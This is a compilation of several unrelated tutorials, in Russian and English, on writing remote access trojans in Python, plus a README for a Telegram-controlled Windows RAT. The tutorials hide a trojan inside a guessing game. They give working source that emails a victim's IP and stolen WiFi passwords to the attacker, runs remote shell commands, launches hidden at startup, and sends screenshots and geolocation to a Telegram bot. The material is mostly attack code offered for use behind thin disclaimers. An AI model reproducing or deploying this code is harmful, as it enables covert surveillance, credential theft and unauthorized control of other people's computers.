Содержание
- 1 Как написать троян на Python
- 1.1 Определение IP-адреса
- 1.2 Бэкконнект по почте
- 1.3 Создание трояна на Python
- 1.4 Создание WiFi-стилера на Python
- 2 Заключение
В этой статье я расскажу, как написать простой троян на Python с удаленным доступом, а для большей скрытности мы встроим его в игру. Даже если вы не знаете Python, то сможете лучше понять, как устроены такие вредоносы, и поупражняться в программировании.
Еще по теме: Как написать вирус на Python
Конечно, приведенные в статье скрипты совсем не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют вовсе. Тем не менее при желании их возможно использовать для несложных пакостей или приколов.
Как написать троян на Python
Итак, что есть троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт и шпионить за пользователем. Подробнее о троянах в статье «Что такое RAT».
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго.
Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор статьи, ни редакция сайта spy-soft.net не несут ответственности за любой возможный вред, причиненный данным материалом. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Не забывайте об этом!
Определение IP-адреса
Для начала нам (то есть нашему трояну) нужно понять, где он оказался. Важная часть вашей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
import socket from requests import get |
Обе библиотеки не поставляются с Python, поэтому, если они у вас отсутствуют, их нужно установить командой
pip.
pip install socket pip install requests |
Если вы видите ошибку, что у вас отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет.
Код получения внешнего и внутреннего адресов будет таким. Обратите внимание, что, если у жертвы несколько сетевых интерфейсов (например, WiFi и Ethernet одновременно), этот код может вести себя неправильно.
# Определяем имя устройства в сети hostname = socket.gethostname() # Определяем локальный (внутри сети) IP-адрес local_ip = socket.gethostbyname(hostname) # Определяем глобальный (публичный / в интернете) IP-адрес public_ip = get(‘http://api.ipify.org’).text |
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все несколько сложнее.
Я выбрал сайт
api.<wbr />ipify.<wbr />org, так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
print(f‘Хост: {hostname}’) print(f‘Локальный IP: {local_ip}’) print(f‘Публичный IP: {public_ip}’) |
Никогда не встречал конструкции типа
print(<wbr />f‘{}<wbr />’)? Буква
f означает форматированные строковые литералы. А по простому — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это вам на JavaScript!).
Финальный код:
import socket from requests import get hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) public_ip = get(‘http://api.ipify.org’).text print(f‘Хост: {hostname}’) print(f‘Локальный IP: {local_ip}’) print(f‘Публичный IP: {public_ip}’) |
Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера.
Бэкконнект по почте
Теперь напишем скрипт, который будет присылать нам письмо.
Импорт новых библиотек (обе нужно предварительно поставить через
pip <wbr />install):
import smtplib as smtp from getpass import getpass |
Пишем базовую информацию о себе:
# Почта, с которой будет отправлено письмо email = ‘demo@spy-soft.net’ # Пароль от нее (вместо ***) password = ‘***’ # Почта, на которую отправляем письмо dest_email = ‘demo@spy-soft.net’ # Тема письма subject = ‘IP’ # Текст письма email_text = ‘TEXT’ |
Дальше сформируем письмо:
message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) |
Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее.
server = smtp.SMTP_SSL(‘smtp.yandex.com’) # SMTP-сервер Яндекса server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки) server.ehlo(email) # Отправляем hello-пакет на сервер server.login(email, password) # Заходим на почту, с которой будем отправлять письмо server.auth_plain() # Авторизуемся server.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение) server.quit() # Отключаемся от сервера |
В строке
server.<wbr />ehlo(<wbr />email) мы используем команду
EHLO. Большинство серверов SMTP поддерживают
ESMTP и
EHLO. Если сервер, к которому вы пытаетесь подключиться, не поддерживает
EHLO, можно использовать
HELO.
Полный код этой части трояна:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
import smtplib as smtp import socket from getpass import getpass from requests import get hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) public_ip = get(‘http://api.ipify.org’).text email = ‘demo@spy-soft.net’ password = ‘***’ dest_email = ‘demo@spy-soft.net’ subject = ‘IP’ email_text = (f‘Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}’) message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL(‘smtp.yandex.com’) server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() |
После запуска скрипта, получаем письмо.
Этот скрипт я проверил на VirusTotal. Результат на скрине.
Создание трояна на Python
По задумке, троян представляет собой клиент‑серверное приложение с клиентом на машине атакуемого и сервером на запускающей машине. Должен быть реализован максимальный удаленный доступ к системе.
Как обычно, начнем с библиотек:
import random import socket import threading import os |
Для начала напишем игру «Угадай число». Тут все крайне просто, поэтому задерживаться долго не буду.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
# Создаем функцию игры def game(): # Берем случайное число от 0 до 1000 number = random.randint(0, 1000) # Счетчик попыток tries = 1 # Флаг завершения игры done = False # Пока игра не закончена, просим ввести новое число while not done: guess = input(‘Введите число: ‘) # Если ввели число if guess.isdigit(): # Конвертируем его в целое guess = int(guess) # Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе if guess == number: done = True print(f‘Ты победил! Я загадал {guess}. Ты использовал {tries} попыток.’) # Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше else: tries += 1 if guess > number: print(‘Загаданное число меньше!’) else: print(‘Загаданное число больше!’) # Если ввели не число — выводим сообщение об ошибке и просим ввести число заново else: print(‘Это не число от 0 до 1000!’) |
Зачем столько сложностей с проверкой на число? Можно было просто написать:
guess <wbr />= <wbr />int(<wbr />input(<wbr />‘Введите <wbr />число: <wbr />’)<wbr />) |
Если бы мы написали так, то при вводе чего угодно, кроме числа, выпадала бы ошибка, а этого допустить нельзя, так как ошибка заставит программу остановиться и обрубит соединение.
Вот код нашего трояна. Ниже мы будем разбираться, как он работает, чтобы не проговаривать заново базовые вещи.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
# Создаем функцию трояна def trojan(): # IP-адрес атакуемого HOST = ‘192.168.2.112’ # Порт, по которому мы работаем PORT = 9090 # Создаем эхо-сервер client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((HOST, PORT)) while True: # Вводим команду серверу server_command = client.recv(1024).decode(‘cp866’) # Если команда совпала с ключевым словом ‘cmdon’, запускаем режим работы с терминалом if server_command == ‘cmdon’: cmd_mode = True # Отправляем информацию на сервер client.send(‘Получен доступ к терминалу’.encode(‘cp866’)) continue # Если команда совпала с ключевым словом ‘cmdoff’, выходим из режима работы с терминалом if server_command == ‘cmdoff’: cmd_mode = False # Если запущен режим работы с терминалом, вводим команду в терминал через сервер if cmd_mode: os.popen(server_command) # Если же режим работы с терминалом выключен — можно вводить любые команды else: if server_command == ‘hello’: print(‘Hello World!’) # Если команда дошла до клиента — выслать ответ client.send(f‘{server_command} успешно отправлена!’.encode(‘cp866’)) |
Сначала нужно разобраться, что такое сокет и с чем его едят. Сокет простым языком — это условная вилка или розетка для программ. Существуют клиентские и серверные сокеты: серверный прослушивает определенный порт (розетка), а клиентский подключается к серверу (вилка). После того как установлено соединение, начинается обмен данными.
Следующая строка:
client <wbr />= <wbr />socket.<wbr />socket(<wbr />socket.<wbr />AF_INET, <wbr />socket.<wbr />SOCK_STREAM) |
создает эхо‑сервер (отправили запрос — получили ответ).
AF_INET означает работу с IPv4-адресацией, а
SOCK_STREAM указывает на то, что мы используем TCP-подключение вместо UDP, где пакет посылается в сеть и далее не отслеживается.
Строка:
client.<wbr />connect((<wbr />HOST, <wbr />PORT)<wbr />) |
указывает IP-адрес хоста и порт, по которым будет производиться подключение, и сразу подключается.
Функция
client.<wbr />recv(<wbr />1024) принимает данные из сокета и является так называемым «блокирующим вызовом». Смысл такого вызова в том, что, пока команда не передастся или не будет отвергнута другой стороной, вызов будет продолжать выполняться. 1024 — это количество задействованных байтов под буфер приема.
Нельзя будет принять больше 1024 байт (1 Кбайт) за один раз, но нам это и не нужно: часто вы руками вводите в консоль больше 1000 символов? Пытаться многократно увеличить размер буфера не нужно — это затратно и бесполезно, так как нужен большой буфер примерно раз в никогда.
Команда
decode(<wbr />‘cp866’) декодирует полученный байтовый буфер в текстовую строку согласно заданной кодировке (у нас 866). Но почему именно
cp866? Зайдем в командную строку и введем команду
chcp.
Кодировка по умолчанию для русскоговорящих устройств — 866, где кириллица добавлена в латиницу. В англоязычных версиях системы используется обычный Unicode, то есть
utf—8 в Python. Мы же говорим на русском языке, так что поддерживать его нам просто необходимо.
При желании кодировку можно поменять в командной строке, набрав после
chcp ее номер. Юникод имеет номер 65001.
При приеме команды нужно определить, не служебная ли она. Если так, выполняем определенные действия, иначе, если включен терминал, перенаправляем команду туда. Недостаток — результат выполнения так и остается необработанным, а его хорошо бы отправлять нам. Это будет вам домашним заданием: реализовать эту функцию можно от силы минут за пятнадцать, даже если гуглить каждый шаг.
Результат проверки клиента на VirusTotal порадовал.
Базовый троян написан, и сейчас можно сделать очень многое на машине атакуемого, ведь у нас доступ к командной строке. Но почему бы нам не расширить набор функций? Давайте еще пароли от WiFi!
Создание WiFi-стилера на Python
Задача — создать скрипт, который из командной строки узнает все пароли от доступных сетей Wi-Fi.
Приступаем. Импорт библиотек:
import subprocess import time |
Модуль
subprocess нужен для создания новых процессов и соединения с потоками стандартного ввода‑вывода, а еще для получения кодов возврата от этих процессов.
Итак, скрипт для извлечения паролей WiFi:
# Создаем запрос в командной строке netsh wlan show profiles, декодируя его по кодировке в самом ядре data = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profiles’]).decode(‘cp866’).split(‘n’) # Создаем список всех названий всех профилей сети (имена сетей) Wi—Fis = [line.split(‘:’)[1][1:—1] for line in data if «Все профили пользователей» in line] # Для каждого имени… for Wi—Fi in Wi—Fis: # …вводим запрос netsh wlan show profile [ИМЯ_Сети] key=clear results = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profile’, Wi—Fi, ‘key=clear’]).decode(‘cp866’).split(‘n’) # Забираем ключ results = [line.split(‘:’)[1][1:—1] for line in results if «Содержимое ключа» in line] # Пытаемся его вывести в командной строке, отсекая все ошибки try: print(f‘Имя сети: {Wi-Fi}, Пароль: {results[0]}’) except IndexError: print(f‘Имя сети: {Wi-Fi}, Пароль не найден!’) |
Введя команду в командной строке:
netsh <wbr />wlan <wbr />show <wbr />profiles |
Mы получим следующее.
Если распарсить вывод выше и подставить имя сети в команду:
netsh <wbr />wlan <wbr />show <wbr />profile [<wbr />имя <wbr />сети] <wbr />key=clear |
Результат будет как на картинке. Его можно разобрать и вытащить пароль от сети.
Осталась одна проблема: наша изначальная задумка была забрать пароли себе, а не показывать их пользователю. Исправим же это.
Допишем еще один вариант команды в скрипт, где обрабатываем наши команды из сети.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
if server_command == ‘Wi-Fi’: data = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profiles’]).decode(‘cp866’).split(‘n’) Wi—Fis = [line.split(‘:’)[1][1:—1] for line in data if «Все профили пользователей» in line] for Wi—Fi in Wi—Fis: results = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profile’, Wi—Fi, ‘key=clear’]).decode(‘cp866’).split(‘n’) results = [line.split(‘:’)[1][1:—1] for line in results if «Содержимое ключа» in line] try: email = ‘mail@yandex.ru’ password = ‘***’ dest_email = ‘demo@demo.ru’ subject = ‘Wi-Fi’ email_text = (f‘Name: {Wi-Fi}, Password: {results[0]}’) message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL(‘smtp.yandex.com’) server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() except IndexError: email = ‘mail@yandex.ru’ password = ‘***’ dest_email = ‘demo@demo.ru’ subject = ‘Wi-Fi’ email_text = (f‘Name: {Wi-Fi}, Password not found!’) message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL(‘smtp.yandex.com’) server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() |
Этот скрипт прост как два рубля и ожидает увидеть русскоязычную систему. На других языках это не сработает, но исправить поведение скрипта можно простым выбором разделителя из словаря, где ключ — обнаруженный на компьютере язык, а значение — требуемая фраза на нужном языке.
Все команды этого скрипта уже подробно разобраны, так что я не буду повторяться, а просто покажу скриншот из своей почты.
Доработки
Конечно, тут можно доработать примерно все — от защиты канала передачи до защиты самого кода нашего вредоноса. Методы связи с управляющими серверами злоумышленника тоже обычно используются другие, а работа вредоноса не зависит от языка операционной системы.
И конечно, сам троян очень желательно упаковать с помощью PyInstaller, чтобы не тянуть с собой на машину жертвы питон и все зависимости. Игра, которая требует для работы установить модуль для работы с почтой, — что может больше внушать доверие?
Заключение
Сегодняшний троян настолько прост, что его никак нельзя назвать боевым. Тем не менее он полезен для изучения основ языка Python и понимания алгоритмов работы более сложных вредоносных программ. Мы надеемся, что вы уважаете закон, а полученные знания о троянах вам никогда не понадобятся.
В качестве домашнего задания рекомендую попробовать реализовать двусторонний терминал и шифрование данных хотя бы с помощью XOR. Такой троян уже будет куда интереснее, но, безусловно, использовать его in the wild мы не призываем. Будьте аккуратны и не делайте глупостей!
Еще по теме: Как создать троян для Android
Hello there!
As you probably know I did a post on 7 projects that I consider interesting, you can read more here. Today I will start to post my solutions for these projects. I will try to explain my thought process and share one possible solution. This solution could be changed/improved and I will probably do that 😀 .
Today the project is:
Create a RAT – Remote Access Trojan
This was an amazing project. I’ve never had done something like this before. I had never controlled my own computer from another one, I always wanted to do that. This project allowed me to do some interesting things on my own machine. I did this for Windows target machines but can be easily converted to Linux/MacOS targets. Let’s start!
What is a Remote Access Trojan?
Remote Access Trojan (RAT) is a malware program that introduces a backdoor in a system that allows the attacker to get unauthorized access to the target’s machine to retrieve information or perform several other actions on the machine. This type of programs are usually sent as an email attachment, or in a game. When the user downloads them the system gets compromised allowing the attacker to access the computer remotely. RATs are designed to remain hidden and running in the background to avoid detection. This type of attacks was a common practice in the 90’s. In general this type of attack can be very dangerous. The attacker can get sensitive/private information from the victim, can add a keylogger to the RAT to record key strokes and steal credit card information or passwords, or anything else.
I will not use this software for those purposes, simply for learning, hope you do the same :D. If you choose to use them to arm someone I am not responsible for that.
How to build a RAT (Remote Access Trojan) for Windows machine targets.
For this project I decided to focus on Windows machine targets. In particular Windows 10. It is relatively easy to improve the solution to work on Linux as probably Unix as well. I decided on Windows 10 because it is more widely used and I have it on my machine (I use Linux as the main OS though). Let’s now dive into the steps I took to create my simple Remote Access Trojan.
Step 1
First I read about what is a RAT and once I understood (more or less) what it was I decided to use Python 3 as the language I was going to develop my RAT with. I chose Python 3 because I am comfortable with it, but I am sure it would work with C, Perl, or other languages.
My thought process was simple, I needed to create a server on the target machine and a client on mine. Once I had this I needed someway to run commands on the target machine. For the purpose of this project I decided to simply run cmd.exe commands. It is possible to improve this RAT (Python 3 code) to perform extra operations, I might do that in the future myself.
Step 2
Once I understood what I had to do, and once I had a programming language to code my RAT with it was a matter of start coding. First I create a basic client-server program in Python 3, as such:
The Server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import socket hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) HOST = "127.0.0.1" #replace by local_ip if you want to use different machines PORT = 65432 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind((HOST, PORT)) s.listen() conn, addr = s.accept() with conn: while True: data = conn.recv(2048) msg = data.decode() if(msg == "exit"): print("Bye") break print("Message received: ",msg) conn.sendall(data)The Client:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import socket HOST = '127.0.0.1' PORT = 65432 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((HOST, PORT)) while(True): msg = input("Your command: ") s.sendall(str.encode(msg)) if(msg == "exit"): print("Bye") break data = s.recv(2048) print("Received: ", data.decode())This code of both Server and Client is standard for Socket programming in Python 3. As you can see, in the Server we have on line 10, “with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s“, this line creates a TCP socket (SOCK_STREAM means that the socket is TCP) called “s“. On the following 2 lines, we have s.bind((HOST,PORT)) (line 11) and s.listen() (line 12). In these 2 lines, we have the bind method that simply binds the socket “s” to the HOST and PORT (That were assigned in the lines 6 and 8 respectively), this means that the socket “s” will receive communications on the port 65432, host 127.0.0.1 which, as you probably know is the localhost. The listen method is responsible to wait and listen for incoming communication on the socket. Once communication is received, it is accepted and established in line 13 with the respective client. Afterwards, it is possible to exchange information, in this case we receive information in the server (line 16) and if it is different from “exit” we print it and resend it to the client (line 22).
The Client code is a little easier to understand. We simply create a socket s, like we do in the Server and connect to it on line 7, than it is a matter of sending messages (line 10).
With this code we have an interaction like this one:
Ok, so with this we have the first part, we have a client-server program. The client sends messages to the server that simply prints them to the STDOUT. Now let’s move on to the next step.
Step 3
For this step, we need a way to execute cmd.exe commands with Python 3. To do so I used the Python 3 package: subprocess, as such:
msg = subprocess.check_output(command, shell=True, universal_newlines=True)This line of code will send the “command” to be executed by the shell and return the output that is stored in the variable msg.
I tested this locally and it works just fine, see the example below with the “dir” command:
Ok, so now it seems we have a way to run simple cmd.exe commands. Let’s now take a look at the code and the final step.
Step 4
The final Python 3 code (that I will be improving and updating on GitHub, stay tuned):
The Server, that is going to run on the targets machine:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import socket import subprocess hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) HOST = "127.0.0.1" # replace with local_ip if you do not want to use your localhost, but your real target's IP print(HOST) PORT = 65432 def options(command): msg = "Command output:n" msg += subprocess.check_output(command, shell=True, universal_newlines=True) print(msg) return msg with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind((HOST, PORT)) s.listen() conn, addr = s.accept() with conn: print('Connected by', addr) while True: data = conn.recv(1024) msg = data.decode() output = options(msg) if(msg == "exit"): break conn.sendall(str.encode(output))The Client, that is going to run on the attackers machine:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import socket HOST = '127.0.0.1' # The server's hostname or IP address PORT = 65432 # The port used by the server with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((HOST, PORT)) while(True): msg = input("Your command: ") s.sendall(str.encode(msg)) if(msg == "exit"): break data = s.recv(2048) print('Received:n', data.decode())As you can see the code is very basic. The ideas was to just be able to exploit the Windows machine to get some information like the name of files, the host name, the network configuration, etc. With this code all of that is possible.
Possible Improvements
To improve the RAT, we can, for example, create an .exe from the server.py file, this way it is possible to just run the .exe in the cmd.exe as a script in the background. I tested a few possibilities and I was able to do that, even with the PowerShell.
To create the .exe from the server.py I used PyInstaller. This tool did the trick just fine! To run the script automatically I used a .cmd script and on it what I do is, I launch a PowerShell with the command:
Start-Process "server.exe" -WorkingDirectory ".distserver" -WindowStyle "Hidden"
This way, the user will simply see a pop-up of a cmd and than it will just close up again. But, on the background the server will be running it I can access it remotely.
Conclusion
The majority of what I did in this project I knew already. In particular, I had programmed with Python 3 Sockets before. I know cmd.exe basic commands. The one thing that was harder was to automate the script to run on the background. It was a very nice personal challenge, and I enjoyed the project very much. To be honest, I am a little scared on how easy it was to just create a RAT. I believe that Windows Defender and maybe anti-virus will spot this and block it (I sincerely hope so!).
I hope you learned something with this, and please do not use this to attack someone, just learning about it is fun! No need to go rogue! 😀
Keep on reading, learning, hacking and stay curious! Cyber security is a huge world! I still have a lot to explore, this was yet another step in my long learning journey!
If you have any questions or want me to clarify something drop a comment down below and I will reply as soon as possible.
The code of the exploit can be found here.
Thank you very much for reading!
Cheers,
MRegra
References:
[1] – From pranks to APTs: How remote access Trojans became a major security threat, By Andrada Fiscutean
[2] – RAT (remote access Trojan), By TechTarget Contributor
[3] – Socket Programming in Python (Guide), By Nathan Jennings
Share this post:
Popular posts
Windows-Python-RAT
Microsoft Windows Remote Administrator Tool
Language: Python
Coder: Sir.4m1R
Developer: Ahoora Mansouri
Powered By The404Hacking
Digital Security ReSearch Group
Robot for initial Windows-Python-RAT testing
Bot ID: @W_P_RAT_Bot
Token: 586363223:AAHSLdPnAE60avs_T25l_HjzRahtw6PhxDY
Set Bot API-Token
To replace your robot Token in RAT, simply go to Line 35 in the Windows-Python-RAT.py file and place your API-TOKEN instead of TOKEN
.
In Line 35:
#Replace Your Bot API-TOKEN update = Updater("TOKEN")
Example for Replace Token:
StartUP Setting
For startup setting, you must first write the name of your bot before compiling it in the Windows-Python-RAT.py file. For example, before compiling the RAT file, you need to go to line 281 and name it as an YOUR-COMPILED-RAT-NAME.exe
.
In Line 281:
os.system('copy YOUR-COMPILED-RAT-NAME.exe "C:Users%username%AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup"') #replace your rat name on 'YOUR-COMPILED-RAT-NAME.exe'
Video Tutorial Setting Up a Startup on a RAT: Watch
Python
Windows-Python-RAT requires Python version 2.7.x
Download Python Version 2.7.13: Click Here
Download Python
Python 2.7.14 — 2017-09-16
Download for Windows (.msi)
Install Python
Learning Install Python on Microsoft Windows: Click Here
Module in Python
To use the Windows-Python-RAT, you need to install the following modules in your python.
For automatic installation, you can first open the Setup.py (python Setup.py
) file and select the [1] Install Module
option.
To install the modules manually, simply enter the commands for installing each module in your CMD
or Terminal
.
Module List:
- Upgrade pip
python -m pip install —upgrade pip
- Python Telegram Bot (Telegram API for Python)
python -m pip install python-telegram-bot
- Pyttsx (for Play Voice)
python -m pip install pyttsx
- PyInstaller (for Compile py file)
python -m pip install pyinstaller
- Autopy (for Take Screenshot)
Download from Telegram Channel or PicoFile and Click on Autopy.exe for Install.
Password autopy-[@The404Hacking].rar
File is: @The404Hacking
AutoPy Module in Python
learning Install AutoPy Module on Python 2: Watch
Download from Telegram Channel or PicoFile and Click on Autopy.exe for Install.
Password autopy-[@The404Hacking].rar
File is: @The404Hacking
Clone and Run Setup
- Linux:
git clone https://github.com/The404Hacking/Windows-Python-RAT.git
cd Windows-Python-RAT
python Setup.py
- Windows:
Download from https://github.com/The404Hacking/Windows-Python-RAT/archive/master.zip
Windows-Python-RAT-master.zip
Extract files.
cd Windows-Python-RAT
python Setup.py
Logo:
Setup ScreenShot:
RAT Control Panel @W_P_RAT_Bot:
Download and Clone
Download: Click Here
Clone: git clone https://github.com/The404Hacking/Windows-Python-RAT.git
The404Hacking | Digital UnderGround Team
The404Hacking
Follow us !
The404Hacking — The404Cracking
Instagram — GitHub
YouTube — Aparat
Blog — Email
Пишем RAT на Python. 2 Часть.
BLACK CODEСоздание RAT с управлением через Telegram. Часть 2.
BLACK CODE. Авторский контент.
Всем привет! Это канал BLACK CODE. Это вторая часть по созданию «КРЫСЫ» на Python. Сегодня мы уже немного поработаем над самим ратником.
Первая часть
В первой части мы совсем не делали функционал для нашего RAT’ника, а только сделали основу для бота. Сегодня мы уже займёмся функционалом.
А начнём мы с новой функции
Функция new_target()
Эта функция нужна для того, чтобы когда пользователь запустил ратник, то нам бы отправилось сообщение, где предоставляются данные.
Она выглядит так:
def new_target(): # Функция для нового пользователя RATника # Назначем переменные заранее, чтобы избежать лишнего кода country = '-' region = '-' city = '-' timezone = '-' zipcode = '-' loc = '' target_ip = requests.get('https://ip.42.pl/raw').text # Получение IP нового юзера url = 'https://ipinfo.io/' + target_ip + '/json' # Составляем ссылку для информации по IP json = requests.get(url).json() # Получаем json из нашей ссылки if 'country' in json: # Если в нашем json указана страна, то... country = json['country'] # переменной country присваивается значение страны IP # Далее всё идёт по такой же схеме if 'region' in json: region = json['region'] if 'city' in json: city = json['city'] if 'timezone' in json: timezone = json['timezone'] if 'postal' in json: zipcode = json['postal'] if 'loc' in json: loc = json['loc'] target_date = datetime.today().strftime('%Y/%m/%d') # Получаем дату у пользователя target_time = datetime.today().strftime('%H:%M') # Получаем время у пользователя # Составляем сообщение для отправки ботом new_target_message = 'Target Connected!nIP: ' + target_ip + 'nCountry: ' + country new_target_message += 'nRegion: ' + region + 'nCity: ' + city + 'nTimeZone: ' + timezone new_target_message += 'nZipCode: ' + zipcode + 'nLocation: ' + loc new_target_message += 'nDate: ' + str(target_date) + 'nTime: ' + str(target_time) # Бот отправляет нам сообщение bot.send_message(user_id, new_target_message)
Вызываем функцию где-то после объявления переменной bot
import telebot import requests from datetime import datetime token = '' # Вписываем Token вашего бота user_id = '' # Вписываем ваш userid def new_target(): # Функция для нового пользователя RATника # Назначем переменные заранее, чтобы избежать лишнего кода country = '-' region = '-' city = '-' timezone = '-' zipcode = '-' loc = '' target_ip = requests.get('https://ip.42.pl/raw').text # Получение IP нового юзера url = 'https://ipinfo.io/' + target_ip + '/json' # Составляем ссылку для информации по IP json = requests.get(url).json() # Получаем json из нашей ссылки if 'country' in json: # Если в нашем json указана страна, то... country = json['country'] # переменной country присваивается значение страны IP # Далее всё идёт по такой же схеме if 'region' in json: region = json['region'] if 'city' in json: city = json['city'] if 'timezone' in json: timezone = json['timezone'] if 'postal' in json: zipcode = json['postal'] if 'loc' in json: loc = json['loc'] target_date = datetime.today().strftime('%Y/%m/%d') # Получаем дату у пользователя target_time = datetime.today().strftime('%H:%M') # Получаем время у пользователя # Составляем сообщение для отправки ботом new_target_message = 'Target Connected!nIP: ' + target_ip + 'nCountry: ' + country new_target_message += 'nRegion: ' + region + 'nCity: ' + city + 'nTimeZone: ' + timezone new_target_message += 'nZipCode: ' + zipcode + 'nLocation: ' + loc new_target_message += 'nDate: ' + str(target_date) + 'nTime: ' + str(target_time) # Бот отправляет нам сообщение bot.send_message(user_id, new_target_message) bot = telebot.TeleBot(token) # создаём бота new_target() @bot.message_handler(commands=['start']) # если была введена /start def start_message(message): # создаём функцию для обработки /start, которая принимает сообщение if str(message.chat.id) == user_id: # Если id пользователя, который прислал сообщение = вашему id, то ... bot.send_message(message.chat.id, 'Hello!nIm BlackRatnnAuthor: @blackcode_adminnChannel: @blackcode_tg') # бот отправляет сообщение этому id bot.polling(none_stop=True, interval=0, timeout=30) # зацикливание бота(без этой команды он не будет работать)
Вот, как это выглядит в боте:
Это сообщение отправилось только при запуске.
Добавим ещё функционала нашему ратнику, теперь он будет делать скриншоты и брать текущий IP с геолокацией.
Придётся установить 1 стороннюю библиотеку:
Termux/Linux/MacOS:
pip3 install Pillow
Windows:
pip install Pillow
Импортируем ещё 2 библиотеки:
import os from PIL import ImageGrab
Библиотека os — стандартная в питоне, так что устанавливать отдельно её не надо.
А из PIL мы импортируем только модуль ImageGrab, он нам нужен, чтобы делать скриншот экрана.
Теперь функция для обработки текста выглядит вот так:
@bot.message_handler(content_types=['text']) def text_message(message): if str(message.chat.id) == user_id: # Если айди пользователя = айди админа, то.. if message.text == 'Получить IP': # Если текст = Получить IP, то... target_ip = requests.get('https://ip.42.pl/raw').text # Берём IP bot.send_message(user_id, target_ip) # Берём данные о IP json = requests.get('https://ipinfo.io/' + target_ip + '/json').json() if 'loc' in json: # Если 'loc' есть в жсоне, то... loc = json['loc'] # loc = данные в джсоне loc = loc.split(',') # Обрезаем данные по запятой # Бот отправляет локацию в виде GoogleMaps bot.send_location(user_id, float(loc[0]), float(loc[1])) elif message.text == 'Скриншот Экрана': # Прописываем путь + название screen_name = 'C:\Windows\' + str(datetime.now()) + '.png' # Делаем скриншот screen = ImageGrab.grab() # Сохраняем скриншот screen.save(screen_name) # Открываем скриншот, чтобы отправить open_screen = open(screen_name, 'rb') # Отправляем скриншот bot.send_photo(user_id, open_screen) # Закрываем открытый файл open_screen.close() # Удаялем файл из папки os.remove(screen_name) else: # Если пользователь ввёл что-то другое, то # Бот отправляет сообщение, что не понимает bot.send_message(user_id, 'Не понимаю тебя, напиши /help' else: # Если ботом попытается пользоваться левый человек, то... # Бот отправляет сообщение о том, что бот не для него :) bot.send_message(message.chat.id, 'Sorry, but that bot not for you:)')
ВНИМАНИЕ! Только не надо копировать код отсюда, у вас будут ошибки, потому что тут плохо с табуляцией и будут ошибки. В конце статьи, будет ссылка на pastebin, где и будет весь код из этого урока.
Всё довольно просто, а если что-то не понятно, то я везде оставил комментарии с разъяснениями.
Тестирование ратника
Как видим, всё отлично работает. Скриншот присылается, IP и геолокация тоже.
